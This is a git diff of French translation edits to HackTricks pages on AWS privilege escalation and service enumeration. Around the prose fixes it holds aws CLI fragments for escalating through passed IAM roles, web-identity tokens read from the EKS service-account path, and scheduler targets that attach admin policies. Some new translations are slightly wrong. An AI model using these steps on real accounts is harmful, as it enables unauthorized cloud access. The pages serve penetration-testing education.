+Un attaquant avec les **`states:CreateStateMachine`** & **`iam:PassRole`** serait capable de créer une machine d'état et de lui fournir n'importe quel rôle IAM, permettant un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la technique de privesc précédente (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle-même, vous devrez également avoir les permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** n'est **pas disponible pour les flux de travail standard**, **juste pour les machines d'état express**) afin de démarrer une exécution sur la machine d'état.
 ```bash
 # Create a state machine
 aws states create-state-machine --name  --definition  --role-arn  [--type ] [--logging-configuration ]\
@@ -181,7 +181,7 @@ Les exemples suivants montrent comment mettre à jour une machine d'état légit
 ```
 {{#endtab }}
 
-{{#tab name="Machine d'État Malveillante Mise à Jour" }}
+{{#tab name="Machine d'État Mise à Jour Malveillante" }}
 ```json
 {
 "Comment": "Hello world from Lambda state machine",
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
 "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
 }
 ```
-**Impact potentiel** : Exécution non autorisée et manipulation de flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.
+**Impact potentiel** : Exécution non autorisée et manipulation des flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
index 4d81730e6..1c3840b03 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
@@ -8,7 +8,7 @@
 
 Chaque rôle est créé avec une **politique de confiance de rôle**, cette politique indique **qui peut assumer le rôle créé**. Si un rôle du **même compte** indique qu'un compte peut l'assumer, cela signifie que le compte pourra accéder au rôle (et potentiellement **privesc**).
 
-Par exemple, la politique de confiance de rôle suivante indique que tout le monde peut l'assumer, donc **tout utilisateur pourra privesc** aux permissions associées à ce rôle.
+Par exemple, la politique de confiance de rôle suivante indique que n'importe qui peut l'assumer, donc **tout utilisateur pourra privesc** aux permissions associées à ce rôle.
 ```json
 {
 "Version": "2012-10-17",
@@ -39,7 +39,7 @@ Avec cette permission, il est possible de générer des identifiants pour usurpe
 ```bash
 aws sts get-federation-token --name 
 ```
-C'est ainsi que cette autorisation peut être accordée en toute sécurité sans donner accès à l'imitation d'autres utilisateurs :
+C'est ainsi que cette permission peut être accordée en toute sécurité sans donner accès à l'imitation d'autres utilisateurs :
 ```json
 {
 "Version": "2012-10-17",
@@ -57,7 +57,7 @@ C'est ainsi que cette autorisation peut être accordée en toute sécurité sans
 
 Une politique de confiance avec ce rôle accorde **aux utilisateurs authentifiés via SAML l'accès pour usurper le rôle.**
 
-Un exemple d'une politique de confiance avec cette permission est :
+Un exemple de politique de confiance avec cette autorisation est :
 ```json
 {
 "Version": "2012-10-17",
@@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
 
 ### `sts:AssumeRoleWithWebIdentity`
 
-Cette permission accorde le droit d'obtenir un ensemble de credentials de sécurité temporaires pour **les utilisateurs qui ont été authentifiés dans une application mobile, web, EKS...** avec un fournisseur d'identité web. [En savoir plus ici.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+Cette autorisation permet d'obtenir un ensemble de credentials de sécurité temporaires pour **les utilisateurs qui ont été authentifiés dans une application mobile, web, EKS...** avec un fournisseur d'identité web. [En savoir plus ici.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
 
 Par exemple, si un **compte de service EKS** doit être capable de **se faire passer pour un rôle IAM**, il aura un jeton dans **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** et peut **assumer le rôle et obtenir des credentials** en faisant quelque chose comme :
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
index 59082f5e1..047054fdd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
@@ -14,7 +14,7 @@ Plus d'infos sur EventBridge Scheduler dans :
 
 Un attaquant avec ces permissions pourra **`créer`|`mettre à jour` un planificateur et abuser des permissions du rôle de planificateur** qui y est attaché pour effectuer n'importe quelle action.
 
-Par exemple, ils pourraient configurer le plan pour **invoquer une fonction Lambda** qui est une action template :
+Par exemple, ils pourraient configurer le plan pour **invoquer une fonction Lambda** qui est une action modélisée :
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam:::role/"
 }'
 ```
-En plus des actions de service templatisées, vous pouvez utiliser **des cibles universelles** dans EventBridge Scheduler pour invoquer un large éventail d'opérations API pour de nombreux services AWS. Les cibles universelles offrent la flexibilité d'invoquer presque n'importe quelle API. Un exemple peut être l'utilisation de cibles universelles ajoutant "**AdminAccessPolicy**", en utilisant un rôle qui a la politique "**putRolePolicy**" :
+En plus des actions de service modélisées, vous pouvez utiliser des **cibles universelles** dans EventBridge Scheduler pour invoquer un large éventail d'opérations API pour de nombreux services AWS. Les cibles universelles offrent la flexibilité d'invoquer presque n'importe quelle API. Un exemple peut être l'utilisation de cibles universelles ajoutant "**AdminAccessPolicy**", en utilisant un rôle qui a la politique "**putRolePolicy**" :
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
index 171d23270..5e1f210cc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
@@ -13,11 +13,11 @@ Pour plus d'informations sur Route53, consultez :
 > [!NOTE]
 > Pour effectuer cette attaque, le compte cible doit déjà avoir une [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurée dans le compte, et les instances EC2 dans le(s) VPC doivent déjà avoir importé les certificats pour lui faire confiance. Avec cette infrastructure en place, l'attaque suivante peut être réalisée pour intercepter le trafic API AWS.
 
-Autres permissions **recommandées mais non requises pour la partie d'énumération** : `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+D'autres autorisations **recommandées mais non requises pour la partie énumération** : `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
 
-En supposant qu'il y ait un VPC AWS avec plusieurs applications cloud-native communiquant entre elles et avec l'API AWS. Étant donné que la communication entre les microservices est souvent chiffrée en TLS, il doit y avoir une CA privée pour émettre les certificats valides pour ces services. **Si ACM-PCA est utilisé** pour cela et que l'adversaire parvient à **accéder au contrôle à la fois de route53 et de la CA privée acm-pca** avec le minimum de permissions décrites ci-dessus, il peut **détourner les appels d'application vers l'API AWS** en prenant le contrôle de leurs permissions IAM.
+En supposant qu'il y ait un VPC AWS avec plusieurs applications cloud-native communiquant entre elles et avec l'API AWS. Étant donné que la communication entre les microservices est souvent chiffrée en TLS, il doit y avoir une CA privée pour émettre les certificats valides pour ces services. **Si ACM-PCA est utilisé** pour cela et que l'adversaire parvient à **accéder au contrôle à la fois de route53 et de la CA privée acm-pca** avec le minimum d'autorisations décrites ci-dessus, il peut **détourner les appels d'application vers l'API AWS** en prenant le contrôle de leurs autorisations IAM.
 
-Ceci est possible car :
+Cela est possible parce que :
 
 - Les SDK AWS n'ont pas de [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
 - Route53 permet de créer des zones hébergées privées et des enregistrements DNS pour les noms de domaine des API AWS
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
index eea41cbbb..688d3b159 100644
--- a/src/pentesting-cloud/aws-security/aws-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -13,11 +13,11 @@ Les services qui relèvent des services de conteneurs ont les caractéristiques
 - Un service géré est fourni par AWS, qui est généralement le service lui-même pour **l'application réelle qui est considérée comme un conteneur**.
 - En tant qu'utilisateur de ces services de conteneurs, vous avez un certain nombre de responsabilités en matière de gestion et de sécurité, y compris **la gestion de la sécurité d'accès au réseau, comme les règles de liste de contrôle d'accès réseau et les pare-feu**.
 - De plus, la gestion des identités et des accès au niveau de la plateforme où elle existe.
-- **Des exemples** de services de conteneurs AWS incluent le Service de base de données relationnelle, Elastic Mapreduce et Elastic Beanstalk.
+- **Des exemples** de services de conteneurs AWS incluent le Relational Database Service, Elastic Mapreduce et Elastic Beanstalk.
 
 ### Abstract Services
 
-- Ces services sont **décrochés, abstraits, de la plateforme ou de la couche de gestion sur laquelle les applications cloud sont construites**.
+- Ces services sont **décorrélés, abstraits, de la plateforme ou de la couche de gestion sur laquelle les applications cloud sont construites**.
 - Les services sont accessibles via des points de terminaison utilisant les interfaces de programmation d'applications AWS, APIs.
 - L'**infrastructure sous-jacente, le système d'exploitation et la plateforme sont gérés par AWS**.
 - Les services abstraits fournissent une plateforme multi-locataires sur laquelle l'infrastructure sous-jacente est partagée.
@@ -26,6 +26,6 @@ Les services qui relèvent des services de conteneurs ont les caractéristiques
 
 ## Services Enumeration
 
-**Les pages de cette section sont ordonnées par service AWS. Vous y trouverez des informations sur le service (comment il fonctionne et ses capacités) et cela vous permettra d'escalader les privilèges.**
+**Les pages de cette section sont ordonnées par service AWS. Vous y trouverez des informations sur le service (comment il fonctionne et ses capacités) qui vous permettront d'escalader les privilèges.**
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
index d6a047299..418f4601e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -1,4 +1,4 @@
-# AWS - API Gateway Enum
+# AWS - Enumération de l'API Gateway
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,16 +6,16 @@
 
 ### Informations de base
 
-AWS API Gateway est un service complet proposé par Amazon Web Services (AWS) conçu pour les développeurs afin de **créer, publier et superviser des API à grande échelle**. Il fonctionne comme un point d'entrée pour une application, permettant aux développeurs d'établir un cadre de règles et de procédures. Ce cadre régit l'accès que les utilisateurs externes ont à certaines données ou fonctionnalités au sein de l'application.
+AWS API Gateway est un service complet proposé par Amazon Web Services (AWS) conçu pour les développeurs afin de **créer, publier et superviser des API à grande échelle**. Il fonctionne comme un point d'entrée pour une application, permettant aux développeurs d'établir un cadre de règles et de procédures. Ce cadre régit l'accès des utilisateurs externes à certaines données ou fonctionnalités au sein de l'application.
 
 API Gateway vous permet de définir **comment les requêtes à vos API doivent être traitées**, et il peut créer des points de terminaison API personnalisés avec des méthodes spécifiques (par exemple, GET, POST, PUT, DELETE) et des ressources. Il peut également générer des SDK clients (kits de développement logiciel) pour faciliter l'appel de vos API depuis leurs applications.
 
-### Types de passerelles API
+### Types d'API Gateways
 
 - **HTTP API** : Créez des API REST à faible latence et rentables avec des fonctionnalités intégrées telles que OIDC et OAuth2, et un support natif CORS. Fonctionne avec les éléments suivants : Lambda, backends HTTP.
 - **WebSocket API** : Créez une API WebSocket utilisant des connexions persistantes pour des cas d'utilisation en temps réel tels que des applications de chat ou des tableaux de bord. Fonctionne avec les éléments suivants : Lambda, HTTP, services AWS.
 - **REST API** : Développez une API REST où vous avez un contrôle total sur la requête et la réponse ainsi que sur les capacités de gestion de l'API. Fonctionne avec les éléments suivants : Lambda, HTTP, services AWS.
-- **REST API Privée** : Créez une API REST qui n'est accessible que depuis un VPC.
+- **REST API Privée** : Créez une API REST qui n'est accessible que depuis l'intérieur d'un VPC.
 
 ### Composants principaux de l'API Gateway
 
@@ -23,12 +23,12 @@ API Gateway vous permet de définir **comment les requêtes à vos API doivent 
 2. **Étapes** : Les étapes dans API Gateway représentent **différentes versions ou environnements** de votre API, tels que développement, staging ou production. Vous pouvez utiliser des étapes pour gérer et déployer **plusieurs versions de votre API simultanément**, vous permettant de tester de nouvelles fonctionnalités ou des corrections de bogues sans affecter l'environnement de production. Les étapes **supportent également les variables d'étape**, qui sont des paires clé-valeur pouvant être utilisées pour configurer le comportement de votre API en fonction de l'étape actuelle. Par exemple, vous pourriez utiliser des variables d'étape pour diriger les requêtes API vers différentes fonctions Lambda ou d'autres services backend en fonction de l'étape.
 - L'étape est indiquée au début de l'URL du point de terminaison de l'API Gateway.
 3. **Autoriseurs** : Les autoriseurs dans API Gateway sont responsables de **contrôler l'accès à votre API** en vérifiant l'identité de l'appelant avant de permettre à la requête de se poursuivre. Vous pouvez utiliser **des fonctions AWS Lambda** comme autoriseurs personnalisés, ce qui vous permet de mettre en œuvre votre propre logique d'authentification et d'autorisation. Lorsqu'une requête arrive, API Gateway passe le jeton d'autorisation de la requête à l'autoriseur Lambda, qui traite le jeton et renvoie une politique IAM qui détermine quelles actions l'appelant est autorisé à effectuer. API Gateway prend également en charge **des autoriseurs intégrés**, tels que **AWS Identity and Access Management (IAM)** et **Amazon Cognito**.
-4. **Politique de ressource** : Une politique de ressource dans API Gateway est un document JSON qui **définit les autorisations pour accéder à votre API**. Elle est similaire à une politique IAM mais spécifiquement adaptée à API Gateway. Vous pouvez utiliser une politique de ressource pour contrôler qui peut accéder à votre API, quelles méthodes ils peuvent appeler, et depuis quelles adresses IP ou VPCs ils peuvent se connecter. **Les politiques de ressource peuvent être utilisées en combinaison avec des autoriseurs** pour fournir un contrôle d'accès granulaire pour votre API.
-- Afin de prendre effet, l'API doit être **déployée à nouveau après** que la politique de ressource a été modifiée.
+4. **Politique de ressource** : Une politique de ressource dans API Gateway est un document JSON qui **définit les autorisations pour accéder à votre API**. Elle est similaire à une politique IAM mais spécifiquement adaptée à API Gateway. Vous pouvez utiliser une politique de ressource pour contrôler qui peut accéder à votre API, quelles méthodes elles peuvent appeler, et depuis quelles adresses IP ou VPC elles peuvent se connecter. **Les politiques de ressource peuvent être utilisées en combinaison avec des autoriseurs** pour fournir un contrôle d'accès granulaire pour votre API.
+- Afin de rendre l'effet, l'API doit être **déployée à nouveau après** que la politique de ressource a été modifiée.
 
 ### Journalisation
 
-Par défaut, **CloudWatch Logs** sont **désactivés**, **l'enregistrement des accès** est **désactivé**, et **le traçage X-Ray** est également **désactivé**.
+Par défaut, **CloudWatch Logs** sont **désactivés**, **l'enregistrement d'accès** est **désactivé**, et **le traçage X-Ray** est également **désactivé**.
 
 ### Énumération
 
@@ -155,9 +155,9 @@ Les deux méthodes généreront un **Authorization** **header** tel que :
 ```
 AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
 ```
-Notez que dans d'autres cas, l'**Authorizer** pourrait avoir été **mal codé** et envoyer **quoi que ce soit** dans l'**Authorization header** permettra **de voir le contenu caché**.
+Notez que dans d'autres cas, l'**Authorizer** pourrait avoir été **mal codé** et envoyer simplement **n'importe quoi** dans l'**Authorization header** permettra **de voir le contenu caché**.
 
-### Request Signing Using Python
+### Signature de la requête en utilisant Python
 ```python
 
 pip install requests
@@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth)
 print(response.text)
 
 ```
-### Custom Lambda Authorizer
+### Authorisateur Lambda Personnalisé
 
 Il est possible d'utiliser une lambda qui, en fonction d'un token donné, **retournera une politique IAM** indiquant si l'utilisateur est **autorisé à appeler le point de terminaison de l'API**.\
-Vous pouvez définir chaque méthode de ressource qui utilisera l'autoriseur.
+Vous pouvez définir chaque méthode de ressource qui utilisera l'auteur.
 
 

 
-Exemple de code de l'autoriseur Lambda
+Exemple de Code d'Authorisateur Lambda
 ```python
 import json
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
index 5b098f0a0..eb285f5a4 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
@@ -4,7 +4,7 @@
 
 ## CloudFormation
 
-AWS CloudFormation est un service conçu pour **simplifier la gestion des ressources AWS**. Il permet aux utilisateurs de se concentrer davantage sur leurs applications fonctionnant dans AWS en **minimisant le temps consacré à la gestion des ressources**. La fonctionnalité principale de ce service est le **modèle**—un modèle descriptif des ressources AWS souhaitées. Une fois ce modèle fourni, CloudFormation est responsable de **l'approvisionnement et de la configuration** des ressources spécifiées. Cette automatisation facilite une gestion plus efficace et sans erreur de l'infrastructure AWS.
+AWS CloudFormation est un service conçu pour **simplifier la gestion des ressources AWS**. Il permet aux utilisateurs de se concentrer davantage sur leurs applications fonctionnant dans AWS en **réduisant le temps consacré à la gestion des ressources**. La fonctionnalité principale de ce service est le **modèle**—un modèle descriptif des ressources AWS souhaitées. Une fois ce modèle fourni, CloudFormation est responsable de **l'approvisionnement et de la configuration** des ressources spécifiées. Cette automatisation facilite une gestion plus efficace et sans erreur de l'infrastructure AWS.
 
 ### Enumeration
 ```bash
@@ -58,7 +58,7 @@ aws codestar describe-user-profile --user-arn 
 ```
 ### Privesc
 
-Dans la page suivante, vous pouvez vérifier comment **abuser des permissions codestar pour escalader les privilèges** :
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions codestar pour élever les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codestar-privesc/
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
index 059ed561e..9984a008f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
@@ -4,7 +4,7 @@
 
 ## CloudFront
 
-CloudFront est le **réseau de distribution de contenu d'AWS qui accélère la distribution** de votre contenu statique et dynamique à travers son réseau mondial de points de présence. Lorsque vous utilisez un contenu de demande que vous hébergez via Amazon CloudFront, la demande est acheminée vers le point de présence le plus proche, ce qui lui fournit la latence la plus basse pour offrir les meilleures performances. Lorsque **les journaux d'accès CloudFront** sont activés, vous pouvez enregistrer la demande de chaque utilisateur demandant l'accès à votre site Web et à votre distribution. Comme pour les journaux d'accès S3, ces journaux sont également **stockés sur Amazon S3 pour un stockage durable et persistant**. Il n'y a pas de frais pour activer la journalisation elle-même, cependant, comme les journaux sont stockés dans S3, vous serez facturé pour le stockage utilisé par S3.
+CloudFront est le **réseau de distribution de contenu d'AWS qui accélère la distribution** de votre contenu statique et dynamique à travers son réseau mondial de points de présence. Lorsque vous utilisez un contenu de demande que vous hébergez via Amazon CloudFront, la demande est acheminée vers le point de présence le plus proche, ce qui lui fournit la latence la plus basse pour offrir la meilleure performance. Lorsque les **journaux d'accès CloudFront** sont activés, vous pouvez enregistrer la demande de chaque utilisateur demandant l'accès à votre site web et à votre distribution. Comme pour les journaux d'accès S3, ces journaux sont également **stockés sur Amazon S3 pour un stockage durable et persistant**. Il n'y a pas de frais pour activer la journalisation elle-même, cependant, comme les journaux sont stockés dans S3, vous serez facturé pour le stockage utilisé par S3.
 
 Les fichiers journaux capturent des données sur une période de temps et en fonction du nombre de demandes reçues par Amazon CloudFront pour cette distribution, cela dépendra du nombre de fichiers journaux générés. Il est important de savoir que ces fichiers journaux ne sont pas créés ou écrits sur S3. S3 est simplement l'endroit où ils sont livrés une fois que le fichier journal est plein. **Amazon CloudFront conserve ces journaux jusqu'à ce qu'ils soient prêts à être livrés à S3**. Encore une fois, en fonction de la taille de ces fichiers journaux, cette livraison peut prendre **entre une et 24 heures**.
 
@@ -12,7 +12,7 @@ Les fichiers journaux capturent des données sur une période de temps et en fon
 
 ### Functions
 
-Vous pouvez créer des fonctions dans CloudFront. Ces fonctions auront leur **point de terminaison dans cloudfront** défini et exécuteront un **code NodeJS** déclaré. Ce code s'exécutera dans un **bac à sable** sur une machine fonctionnant sous une machine gérée par AWS (vous auriez besoin d'un contournement de bac à sable pour réussir à échapper au système d'exploitation sous-jacent).
+Vous pouvez créer des fonctions dans CloudFront. Ces fonctions auront leur **point de terminaison dans cloudfront** défini et exécuteront un **code NodeJS** déclaré. Ce code s'exécutera à l'intérieur d'un **sandbox** sur une machine fonctionnant sous une machine gérée par AWS (vous auriez besoin d'un contournement de sandbox pour réussir à échapper au système d'exploitation sous-jacent).
 
 Comme les fonctions ne sont pas exécutées dans le compte AWS des utilisateurs, aucun rôle IAM n'est attaché, donc aucune élévation de privilèges directe n'est possible en abusant de cette fonctionnalité.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
index 4ad69e4af..a65843877 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## HSM - Module de Sécurité Matériel
+## HSM - Module de Sécurité Matérielle
 
 Cloud HSM est un **dispositif matériel** validé FIPS 140 niveau deux pour le stockage sécurisé des clés cryptographiques (notez que CloudHSM est un appareil matériel, ce n'est pas un service virtualisé). C'est un appareil SafeNetLuna 7000 avec 5.3.13 préchargé. Il existe deux versions de firmware et le choix dépend vraiment de vos besoins exacts. L'une est pour la conformité FIPS 140-2 et il y avait une version plus récente qui peut être utilisée.
 
@@ -13,7 +13,7 @@ Typiquement, un dispositif est disponible dans les 15 minutes, à condition qu'i
 Puisqu'il s'agit d'un dispositif physique dédié à vous, **les clés sont stockées sur le dispositif**. Les clés doivent soit être **répliquées sur un autre dispositif**, sauvegardées sur un stockage hors ligne, ou exportées vers un appareil de secours. **Ce dispositif n'est pas soutenu** par S3 ou tout autre service chez AWS comme KMS.
 
 Dans **CloudHSM**, vous devez **scaler le service vous-même**. Vous devez provisionner suffisamment de dispositifs CloudHSM pour gérer vos besoins en cryptage en fonction des algorithmes de cryptage que vous avez choisis d'implémenter pour votre solution.\
-Le service de gestion des clés est scalé par AWS et s'ajuste automatiquement à la demande, donc à mesure que votre utilisation augmente, le nombre d'appareils CloudHSM requis peut également augmenter. Gardez cela à l'esprit lorsque vous scalez votre solution et si votre solution a un auto-scaling, assurez-vous que votre échelle maximale est prise en compte avec suffisamment d'appareils CloudHSM pour servir la solution.
+Le service de gestion des clés est scalé par AWS et s'ajuste automatiquement à la demande, donc à mesure que votre utilisation croît, le nombre d'appareils CloudHSM requis peut également augmenter. Gardez cela à l'esprit lorsque vous scalez votre solution et si votre solution a un auto-scaling, assurez-vous que votre échelle maximale est prise en compte avec suffisamment d'appareils CloudHSM pour servir la solution.
 
 Tout comme le scaling, **la performance dépend de vous avec CloudHSM**. La performance varie en fonction de l'algorithme de cryptage utilisé et de la fréquence à laquelle vous devez accéder ou récupérer les clés pour chiffrer les données. La performance du service de gestion des clés est gérée par Amazon et s'ajuste automatiquement en fonction de la demande. La performance de CloudHSM est obtenue en ajoutant plus d'appareils et si vous avez besoin de plus de performance, vous ajoutez des dispositifs ou modifiez la méthode de cryptage vers l'algorithme qui est plus rapide.
 
@@ -24,7 +24,7 @@ Si votre solution est **multi-région**, vous devriez ajouter plusieurs **appare
 **CloudHSM est considérablement plus coûteux que le service de gestion des clés**. CloudHSM est un appareil matériel, donc vous avez des coûts fixes pour provisionner le dispositif CloudHSM, puis un coût horaire pour faire fonctionner l'appareil. Le coût est multiplié par le nombre d'appareils CloudHSM nécessaires pour atteindre vos exigences spécifiques.\
 De plus, une considération croisée doit être faite lors de l'achat de logiciels tiers tels que les suites logicielles SafeNet ProtectV et le temps et l'effort d'intégration. Le service de gestion des clés est basé sur l'utilisation et dépend du nombre de clés que vous avez et des opérations d'entrée et de sortie. Comme la gestion des clés fournit une intégration transparente avec de nombreux services AWS, les coûts d'intégration devraient être considérablement inférieurs. Les coûts doivent être considérés comme un facteur secondaire dans les solutions de cryptage. Le cryptage est généralement utilisé pour la sécurité et la conformité.
 
-**Avec CloudHSM, vous seul avez accès aux clés** et sans entrer dans trop de détails, avec CloudHSM, vous gérez vos propres clés. **Avec KMS, vous et Amazon co-gestionez vos clés**. AWS a de nombreuses protections politiques contre les abus et **ne peut toujours pas accéder à vos clés dans l'une ou l'autre solution**. La principale distinction est la conformité en ce qui concerne la propriété et la gestion des clés, et avec CloudHSM, c'est un appareil matériel que vous gérez et maintenez avec un accès exclusif à vous et seulement à vous.
+**Avec CloudHSM, vous êtes le seul à avoir accès aux clés** et sans entrer dans trop de détails, avec CloudHSM, vous gérez vos propres clés. **Avec KMS, vous et Amazon co-gestionez vos clés**. AWS a de nombreuses protections politiques contre les abus et **ne peut toujours pas accéder à vos clés dans l'une ou l'autre solution**. La principale distinction est la conformité en ce qui concerne la propriété et la gestion des clés, et avec CloudHSM, il s'agit d'un appareil matériel que vous gérez et maintenez avec un accès exclusif à vous et seulement à vous.
 
 ### Suggestions CloudHSM
 
@@ -42,9 +42,9 @@ La raison la plus courante d'utiliser CloudHSM est les normes de conformité que
 
 La **clé publique est installée sur l'appareil HSM lors du provisionnement** afin que vous puissiez accéder à l'instance CloudHSM via SSH.
 
-### Qu'est-ce qu'un Module de Sécurité Matériel
+### Qu'est-ce qu'un Module de Sécurité Matérielle
 
-Un module de sécurité matériel (HSM) est un dispositif cryptographique dédié qui est utilisé pour générer, stocker et gérer des clés cryptographiques et protéger des données sensibles. Il est conçu pour fournir un niveau élevé de sécurité en isolant physiquement et électroniquement les fonctions cryptographiques du reste du système.
+Un module de sécurité matérielle (HSM) est un dispositif cryptographique dédié qui est utilisé pour générer, stocker et gérer des clés cryptographiques et protéger des données sensibles. Il est conçu pour fournir un niveau élevé de sécurité en isolant physiquement et électroniquement les fonctions cryptographiques du reste du système.
 
 Le fonctionnement d'un HSM peut varier en fonction du modèle et du fabricant spécifiques, mais généralement, les étapes suivantes se produisent :
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
index dcd4354f5..7da1b4587 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
@@ -4,9 +4,9 @@
 
 ## CodeBuild
 
-AWS **CodeBuild** est reconnu comme un **service d'intégration continue entièrement géré**. Le principal objectif de ce service est d'automatiser la séquence de compilation du code source, d'exécution des tests et d'emballage du logiciel à des fins de déploiement. Le principal avantage offert par CodeBuild réside dans sa capacité à soulager les utilisateurs de la nécessité de provisionner, gérer et mettre à l'échelle leurs serveurs de construction. Cette commodité est due au fait que le service gère lui-même ces tâches. Les fonctionnalités essentielles d'AWS CodeBuild comprennent :
+AWS **CodeBuild** est reconnu comme un **service d'intégration continue entièrement géré**. Le principal objectif de ce service est d'automatiser la séquence de compilation du code source, d'exécution des tests et de conditionnement du logiciel pour des fins de déploiement. Le principal avantage offert par CodeBuild réside dans sa capacité à soulager les utilisateurs de la nécessité de provisionner, gérer et faire évoluer leurs serveurs de construction. Cette commodité est due au fait que le service gère lui-même ces tâches. Les fonctionnalités essentielles d'AWS CodeBuild comprennent :
 
-1. **Service géré** : CodeBuild gère et met à l'échelle les serveurs de construction, libérant les utilisateurs de la maintenance des serveurs.
+1. **Service géré** : CodeBuild gère et fait évoluer les serveurs de construction, libérant les utilisateurs de la maintenance des serveurs.
 2. **Intégration continue** : Il s'intègre au flux de travail de développement et de déploiement, automatisant les phases de construction et de test du processus de publication du logiciel.
 3. **Production de paquets** : Après les phases de construction et de test, il prépare les paquets logiciels, les rendant prêts pour le déploiement.
 
@@ -61,13 +61,13 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions de
 ../aws-post-exploitation/aws-codebuild-post-exploitation/
 {{#endref}}
 
-### Accès Non Authentifié
+### Unauthenticated Access
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 {{#endref}}
 
-## Références
+## References
 
 - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
index a27729c92..28af5c910 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
